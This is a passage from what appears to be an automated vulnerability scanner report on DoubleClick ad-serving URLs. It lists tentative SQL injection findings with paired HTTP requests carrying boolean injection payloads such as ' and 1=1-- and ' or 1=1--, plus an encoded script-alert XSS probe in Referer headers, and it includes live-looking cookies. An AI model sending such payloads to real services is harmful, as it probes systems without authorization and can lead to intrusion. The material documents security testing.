GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=;ord=628818073?&1%20and%201%3d1--%20=1 HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:21:20 GMT
Content-Length: 37981

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayManagers = new Object();
if(typeof(dartMotifAds) == "undefined")
var dartMotifAds = new Array();
if(!self.dartLoadedGlobalTemplates_59_07) {
self.dartLoadedGlobalTemplates_59_07 = {};
}
if(self.dartLoadedGlobalTemplates_59_07["@GT_TYPE@"]) {
self.dartLoadedGlobalTemplates_59_07["@GT_TYPE@"].isLoaded = true;
}

function RichMediaCore_59_07() {
this.CREATIVE_TYPE_EXPANDING = "ExpandingFlash";
this.CREATIVE_TYPE_FLOATING = "FloatingFlash";
this.CREATIVE_TYPE_INPAGE = "InpageFlash";
this.CREATIVE_TYPE_INPAGE_WITH_FLOATING = "InpageFlashFloatingFlash";
this.CREATIVE_TYPE_FLOATING_WITH_REMINDER = "FloatingFlashReminderFlash";
this.CREATIVE_TYPE_INPAGE_WITH_OVERLAY = "InpageFlashOverlayFlash";
this.ASSET_TYPE_FLOATING = "Floating";
this.ASSET_TYPE_INPAGE = "Inpage";
this.ASSET_TYPE_EXPANDING = "Expanding";
this.ASSET_TYPE_REMINDER = "Reminder";
this.ASSET_TYPE_OVERLAY = "Overlay";
this.STANDARD_EVENT_DISPLAY_TIMER = "DISPLAY_TIMER";
this.STANDARD_EVENT_INTERACTION_TIMER = "INTERACTION_TIMER";
this.STANDARD_EVENT_INTERACTIVE_IMPRESSION = "EVENT_USER_INTERACTION";
this.STANDARD_EVENT_FULL_SCREEN_VIDEO_PLAYS = "";
this.STANDARD_EVENT_FULL_SCREEN_VIDEO_COMPLETES = "";
this.STANDARD_EVENT_FULL_SCREEN_AVERAGE_VIEW_TIME = "";
this.STANDARD_EVENT_MANUAL_CLOSE = "EVENT_MANUAL_CLOSE";
this.STANDARD_EVENT_BACKUP_IMAGE = "BACKUP_IMAGE_IMPRESSION";
this.STANDARD_EVENT_EXPAND_TIMER = "EXPAND_TIMER";
this.STANDARD_EVENT_VIDEO_PLAY = "EVENT_VIDEO_PLAY";
this.STANDARD_EVENT_VIDEO_VIEW_TIMER = "EVENT_VIDEO_VIEW_TIMER";
this.STANDARD_EVENT_VIDEO_VIEW_COMPLETE = "EVENT_VIDEO_COMPLETE";
this.STANDARD_EVENT_VIDEO_INTERACTION = "EVENT_VIDEO_INTERACTION";
this.STANDARD_EVENT_VIDEO_PAUSE = "EVENT_VIDEO_PAUSE";
this.STANDARD_EVENT_VIDEO_MUTE = "E
...[SNIP]...

Request 2

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=;ord=628818073?&1%20and%201%3d2--%20=1 HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:21:21 GMT
Content-Length: 7028



<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
<SCRIPT LANGUAGE="JavaScript">
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/2493053/MAPS_728x90.swf";
var gif = "http://s0.2mdn.net/2493053/728x90_maps.jpg";
var minV = 8;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/f/1c8/%2a/n%3B235864053%3B2-0%3B0%3B59652986%3B3454-728/90%3B41213402/41231189/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=http%3a%2f%2fad.doubleclick.net/2493053/redirect_nexuss_gdn.html");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();

var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/f/1c8/%2a/n%3B235864053%3B2-0%3B0%3B59652986%3B3454-728/90%3B41213402/41231189/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPs
...[SNIP]...

1.4. http://ad.doubleclick.net/adi/N6543.131803.TURN.COM/B5513576.10 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ad.doubleclick.net
Path:	/adi/N6543.131803.TURN.COM/B5513576.10

Issue detail

Request 1

GET /adi/N6543.131803.TURN.COM/B5513576.10;sz=728x90;ord=7802162129868032033?;click=http://r.turn.com/r/formclick/id/IQjKlh7ZRmyuUQYACAIBAA/url/;'%20and%201%3d1--%20 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 13:59:29 GMT
Content-Length: 6123

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/3076801/CRM_728x90_gardenclub_clorox_outdoor.swf";
var gif = "http://s0.2mdn.net/3076801/CRM_728x90_gardenclub_clorox_outdoor.jpg";
var minV = 8;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/7/3c/%2a/j%3B241010695%3B1-0%3B0%3B63775632%3B3454-728/90%3B42072487/42090274/1%3B%3B%7Esscs%3D%3fhttp://r.turn.com/r/formclick/id/IQjKlh7ZRmyuUQYACAIBAA/url/http://www.homedepotgardenclub.com/SignUp/Registration.aspx?SourceID=714&cm_mmc=OLA|Carat|GardenClubQ2_2011|GC|Garden Club Generic");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();

var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/7/3c/%2a/j%3B241010695%3B1-0%3B0%3B63775632%3B3454-728/90%3B42072487/42090274/1%3B%3B%7Esscs%3D%3fhttp://r.turn.com/r/formclick/id/IQjKlh7ZRmyuUQYACAIBAA/url/http://www.homedepotgardenclub.com/SignUp/Registration.aspx?SourceID=714&cm_mmc=OLA|Carat|GardenClubQ2_2011|GC|Garden Club Generic");
var ctp=new Array();
var ctv=new Array();
ctp[0] = "clickTag";
ctv[0] = "";
ctp[1] = "clickTag1";
ctv[1] = "";
ctp[2] = "clickTAG";
ctv[2] = "";

var fv='"moviePath='+moviePath+'/'+'&moviepath='+moviePath+'/';
for(i=1;i<sm.length;i++){if(sm[i]!=""){fv+="&submovie"+i+"="+escape(sm[i]);}}
for(var ctIndex = 0; ctIndex < ctp.length; ctIndex++) {
var ctParam = ctp[ctIndex];
var ctVal = ctv[ctIndex];
if(ctVal != null && typeof(ctVal) == 'string') {
if(ctVal == "") {
ctVal = defaultCtVal;
}
else {
ctVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/7/3c/%2a/j%3B241010695%3B1-0%3B0%3B63775632%3B3454-728/90%3B42072487/42090274/1%3B%3B%7Esscs%3D%3fhttp://r.turn.com/r/formclick/id/IQjKlh7ZRmyuUQYACAIBAA/url/" + ctVal);
}
if(ctParam.toLowerCa
...[SNIP]...

Request 2

GET /adi/N6543.131803.TURN.COM/B5513576.10;sz=728x90;ord=7802162129868032033?;click=http://r.turn.com/r/formclick/id/IQjKlh7ZRmyuUQYACAIBAA/url/;'%20and%201%3d2--%20 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 13:59:30 GMT
Content-Length: 6099

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/3076801/CRM_728x90_GC_diginto_joingc.swf";
var gif = "http://s0.2mdn.net/3076801/CRM_728x90_GC_diginto_joingc.jpg";
var minV = 8;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/7/3c/%2a/d%3B241010695%3B0-0%3B0%3B63775632%3B3454-728/90%3B42072486/42090273/1%3B%3B%7Esscs%3D%3fhttp://r.turn.com/r/formclick/id/IQjKlh7ZRmyuUQYACAIBAA/url/http://www.homedepotgardenclub.com/SignUp/Registration.aspx?SourceID=714&cm_mmc=OLA|Carat|GardenClubQ2_2011|GC|Garden Club Generic");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();

var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/7/3c/%2a/d%3B241010695%3B0-0%3B0%3B63775632%3B3454-728/90%3B42072486/42090273/1%3B%3B%7Esscs%3D%3fhttp://r.turn.com/r/formclick/id/IQjKlh7ZRmyuUQYACAIBAA/url/http://www.homedepotgardenclub.com/SignUp/Registration.aspx?SourceID=714&cm_mmc=OLA|Carat|GardenClubQ2_2011|GC|Garden Club Generic");
var ctp=new Array();
var ctv=new Array();
ctp[0] = "clickTag";
ctv[0] = "";
ctp[1] = "clickTag1";
ctv[1] = "";
ctp[2] = "clickTAG";
ctv[2] = "";

var fv='"moviePath='+moviePath+'/'+'&moviepath='+moviePath+'/';
for(i=1;i<sm.length;i++){if(sm[i]!=""){fv+="&submovie"+i+"="+escape(sm[i]);}}
for(var ctIndex = 0; ctIndex < ctp.length; ctIndex++) {
var ctParam = ctp[ctIndex];
var ctVal = ctv[ctIndex];
if(ctVal != null && typeof(ctVal) == 'string') {
if(ctVal == "") {
ctVal = defaultCtVal;
}
else {
ctVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/7/3c/%2a/d%3B241010695%3B0-0%3B0%3B63775632%3B3454-728/90%3B42072486/42090273/1%3B%3B%7Esscs%3D%3fhttp://r.turn.com/r/formclick/id/IQjKlh7ZRmyuUQYACAIBAA/url/" + ctVal);
}
if(ctParam.toLowerCase() == "clickta
...[SNIP]...

1.5. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_eo parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The _eo parameter appears to be vulnerable to SQL injection attacks. The payloads 28613726'%20or%201%3d1--%20 and 28613726'%20or%201%3d2--%20 were each submitted in the _eo parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=5278628613726'%20or%201%3d1--%20&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:18:24 GMT
Content-Length: 4592

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>


<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>

<SCRIPT LANGUAGE="JavaScript">

<!--
var clickThroughOverlayApplied = 'false';
var dcallowscriptaccess = 'never';
var plugin = false;
var advurl = 'http://di.casio.com/digital_cameras/TRYX/TRYX?utm_source= x1&utm_medium=display&utm_content=728x90-Casio-Diner&utm_campaign=tryx';
var alttext = '';
var dcgif = 'http://s0.2mdn.net/3178434/728x90-casio-diner.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=5278628613726'%20or%201%3d1--%20&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%26utm_content%3D728x90-Casio-Diner%26utm_campaign%3Dtryx';
var target = '_blank';
var dcbgcolor = '';
var dcswf = 'http://s0.2mdn.net/3178434/728x90-casio-diner.swf';
var dcminversion = '8';
var dccreativeheight = '90';

var clickTag = encodeURIComponent('http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/f/bd/%2a/c%3B240515919%3B2-0%3B0%3B63412091%3B3454-728/90%3B41891531/41909318/1%3Bu%3D17767350%3B%7Esscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=5278628613726'%20or%201%3d1--%20&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%26utm_content%3D728x90-Casio-Diner%26utm_campaign%3Dtryx');
function checkFlash(v){
var y, x, s="Shockwave", f="Flash", o="object", u="undefined", np=navigator.plugins, nm=navigator.mimeTypes, nmd="application/x-shockwave-flash";
v = Math.max(Math.floor(v) || 0, 6); // check if v is a number and use Flash Player 6 as the minimum player version
if(typeof np!=u&&typeof np[s+" "+f]==o&&(x=np[s+" "+f].description)&&!(typeof nm!=u&&nm[nmd]&&!nm[nmd].enabledPlugin)){
if(v<=x.match(/Sho
...[SNIP]...

Request 2

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=5278628613726'%20or%201%3d2--%20&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:18:25 GMT
Content-Length: 4497

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>


<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>

<SCRIPT LANGUAGE="JavaScript">

<!--
var clickThroughOverlayApplied = 'false';
var dcallowscriptaccess = 'never';
var plugin = false;
var advurl = 'http://di.casio.com/tryx?utm_source=x+1&utm_medium=display&utm_content=728x90-casioflip-flash&utm_campaign=tryx';
var alttext = '';
var dcgif = 'http://s0.2mdn.net/3178434/Casio-728x90.gif';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=5278628613726'%20or%201%3d2--%20&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/tryx%3Futm_source%3Dx%2B1%26utm_medium%3Ddisplay%26utm_content%3D728x90-casioflip-flash%26utm_campaign%3Dtryx';
var target = '_blank';
var dcbgcolor = '';
var dcswf = 'http://s0.2mdn.net/3178434/Casio-728x90.swf';
var dcminversion = '9';
var dccreativeheight = '90';

var clickTag = encodeURIComponent('http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/f/bd/%2a/s%3B240515919%3B0-0%3B0%3B63412091%3B3454-728/90%3B42028567/42046354/1%3Bu%3D17767350%3B%7Esscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=5278628613726'%20or%201%3d2--%20&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/tryx%3Futm_source%3Dx%2B1%26utm_medium%3Ddisplay%26utm_content%3D728x90-casioflip-flash%26utm_campaign%3Dtryx');
function checkFlash(v){
var y, x, s="Shockwave", f="Flash", o="object", u="undefined", np=navigator.plugins, nm=navigator.mimeTypes, nmd="application/x-shockwave-flash";
v = Math.max(Math.floor(v) || 0, 6); // check if v is a number and use Flash Player 6 as the minimum player version
if(typeof np!=u&&typeof np[s+" "+f]==o&&(x=np[s+" "+f].description)&&!(typeof nm!=u&&nm[nmd]&&!nm[nmd].enabledPlugin)){
if(v<=x.match(/Shockwave Flash (\d+)/)[1])return true;}
else if(typeof windo
...[SNIP]...

1.6. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754?&1'%20and%201%3d1--%20=1 HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
